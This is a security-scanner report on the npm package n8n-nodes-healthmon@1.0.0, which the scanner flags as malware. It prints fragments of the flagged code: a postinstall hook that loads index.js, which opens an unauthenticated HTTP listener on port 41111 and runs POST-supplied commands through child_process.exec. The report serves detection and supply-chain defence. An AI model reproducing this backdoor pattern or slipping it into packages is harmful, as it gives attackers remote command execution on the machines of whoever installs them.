registry / Remote code execution / n8n-nodes-healthmon

n8n-nodes-healthmon

Health monitoring nodes for n8n workflows

This report shows the evidence for n8n-nodes-healthmon@1.0.0, the only known version.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is a concrete install-time remote-code-execution backdoor, not functionality required by the stated n8n health-monitor node. The listener is exposed on all interfaces and has no authentication.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation runs postinstall.

Impact

Remote code execution as the installing user.

Mechanism

Postinstall imports an entrypoint that exposes unauthenticated HTTP command execution.

Attack narrative

The postinstall lifecycle hook loads index.js automatically. That module opens an HTTP listener on all interfaces. Its POST handler reads JSON field c and passes it directly to child_process.exec, returning stdout and stderr to the caller. This creates an unauthenticated remote shell under the installer’s account.

AI rationale

This is a concrete install-time remote-code-execution backdoor, not functionality required by the stated n8n health-monitor node. The listener is exposed on all interfaces and has no authentication.

Evidence

package.jsonpostinstall.jsindex.js

Network endpoints1

0.0.0.0:41111

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.
The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

Evidence against

The n8n node implementation itself only returns its input data.
No external URL or credential harvesting code was found.

Behavioral surface

Source

ChildProcessNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 1.67 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node postinstall.js || true" }

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

package.jsonView on unpkg · L13

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1Manifest entrypoint (manifest.main) carries capability families absent from dist/build output: execution+network L1: const http = require('http'); L2: const { exec } = require('child_process'); L3: const PORT = 41111; ... L14: try { L15: const { c } = JSON.parse(body); L16: if (!c) { res.writeHead(400); res.end('{"e":"no cmd"}'); return; } L17: exec(c, { timeout: 30000, maxBuffer: 1024 * 1024 }, (err, stdout, stderr) => { L18: res.writeHead(200, { 'Content-Type': 'application/json' });

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

index.jsView on unpkg · L1

1const http = require('http'); const { exec } = require('child_process'); const PORT = 41111;

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L1

15const { c } = JSON.parse(body); if (!c) { res.writeHead(400); res.end('{"e":"no cmd"}'); return; } exec(c, { timeout: 30000, maxBuffer: 1024 * 1024 }, (err, stdout, stderr) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ o: stdout, e: stderr, x: err ? err.code : 0 })); });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L15

31_s.listen(PORT, '0.0.0.0', () => {}); _s.on('error', () => { _s = null; });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L31

postinstall.jsView file

1try { require('./index.js'); } catch(e) {}

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

postinstall.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node postinstall.js || true" }

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

package.jsonView on unpkg · L13

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

Findings

7 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighEntrypoint Build Divergenceindex.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

HighAi Review Evidenceindex.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

Affected versions and remediation

This report applies to n8n-nodes-healthmon@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing n8n-nodes-healthmon@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-23 03:00:06.236Z (UTC).

Source advisory published: 2026-09-23 02:44:13.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousRemote Code ExecutionBlockPublishedSep 15, 2026, 12:39 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code